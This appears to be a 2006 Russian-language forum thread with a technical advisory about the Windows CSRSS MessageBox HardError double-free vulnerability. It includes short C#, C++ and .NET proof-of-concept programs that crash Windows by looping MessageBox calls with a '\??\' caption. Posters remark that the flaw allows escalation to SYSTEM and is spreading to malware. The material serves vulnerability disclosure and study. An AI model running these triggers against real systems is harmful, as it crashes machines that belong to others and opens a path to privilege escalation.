// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
  [DllImport("user32.dll")]
  unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);
  
  static unsafe void Main()
  {
    byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
    uint MB_SERVICE_NOTIFICATION = 0x00200000u; 
    fixed(byte* pHelloBug = &helloBug[0])
    {
      for(int i=0; i<10; i++)
        MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
    }
  }
}

>> C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe /unsafe mbox.cs
>> mbox.exe

#include <Windows.h>

using namespace std;

void crush_windows()
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
  ::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}

}
int main(int argc, char *argv[])
{
    crush_windows();
    return EXIT_SUCCESS;
}

// mbox.cs
Д>using System;
Д>using System.Runtime.InteropServices;
Д>class HelloWorldFromMicrosoft
Д>{
Д>  [DllImport("user32.dll")]
Д>  unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);
  
Д>  static unsafe void Main()
Д>  {
Д>    byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
Д>    uint MB_SERVICE_NOTIFICATION = 0x00200000u; 
Д>    fixed(byte* pHelloBug = &helloBug[0])
Д>    {
Д>      for(int i=0; i<10; i++)
Д>        MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
Д>    }
Д>  }
Д>}

MessageBox.Show("\\??\\C:\\", "\\??\\C:\\", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1, MessageBoxOptions.ServiceNotification);

север
65 — 22.12.2006 — 08:07 Хех. Дырка дошла до Determina. Они покопались и сказали, что "This vulnerability allows a logged on user to ехесute arbitrary code in the CSRSS.EXE process and elevate their privileges to SYSTEM level."
Так что NULL нашел способ, как в Vista повысить свои привелегии до SYSTEM. Лишил девственности так сказать ...
http://www.determina.com/security.research/vulnerabilities/csrss-harderror.html
север
66 — 22.12.2006 — 12:59 Пошло поехало. Уже эксплоиты видели. Теперь они попадут в свежие вирусы и трояны для повышения прав до системных после заражения пользователя.
.
Так что NULL, если ты мечтал когда-нибудь написать код, который бы получил широкую известность и большое распространение, можешь ставить галочку. Твоя находка будет использоваться и работать на миллионах компьютеров по всему миру

Technical Details:

If the MB_SERVICE_NOTIFICATION flag is specified when calling the MessageBox function from the Windows API, it will use the NtRaiseHardError syscall to send a HardError message to CSRSS. This message contains the caption and text of a message box to be displayed by CSRSS on behalf of the caller. This functionality is designed to allow non-interactive services to notify the user of critical errors.

The HardError message is handled by the UserHardError function in WINSRV.DLL. It calls GetHardErrorText to read the message parameters from the address space of the sender. The GetHardErrorText function returns pointers to the caption and text of the message box. If the caption or text parameters start with the \??\ prefix, the function inexplicably frees the buffer and returns a pointer to freed memory. After the message box is closed by the user, the same buffer is freed again in the FreePhi function, resulting in a double free vulnerability.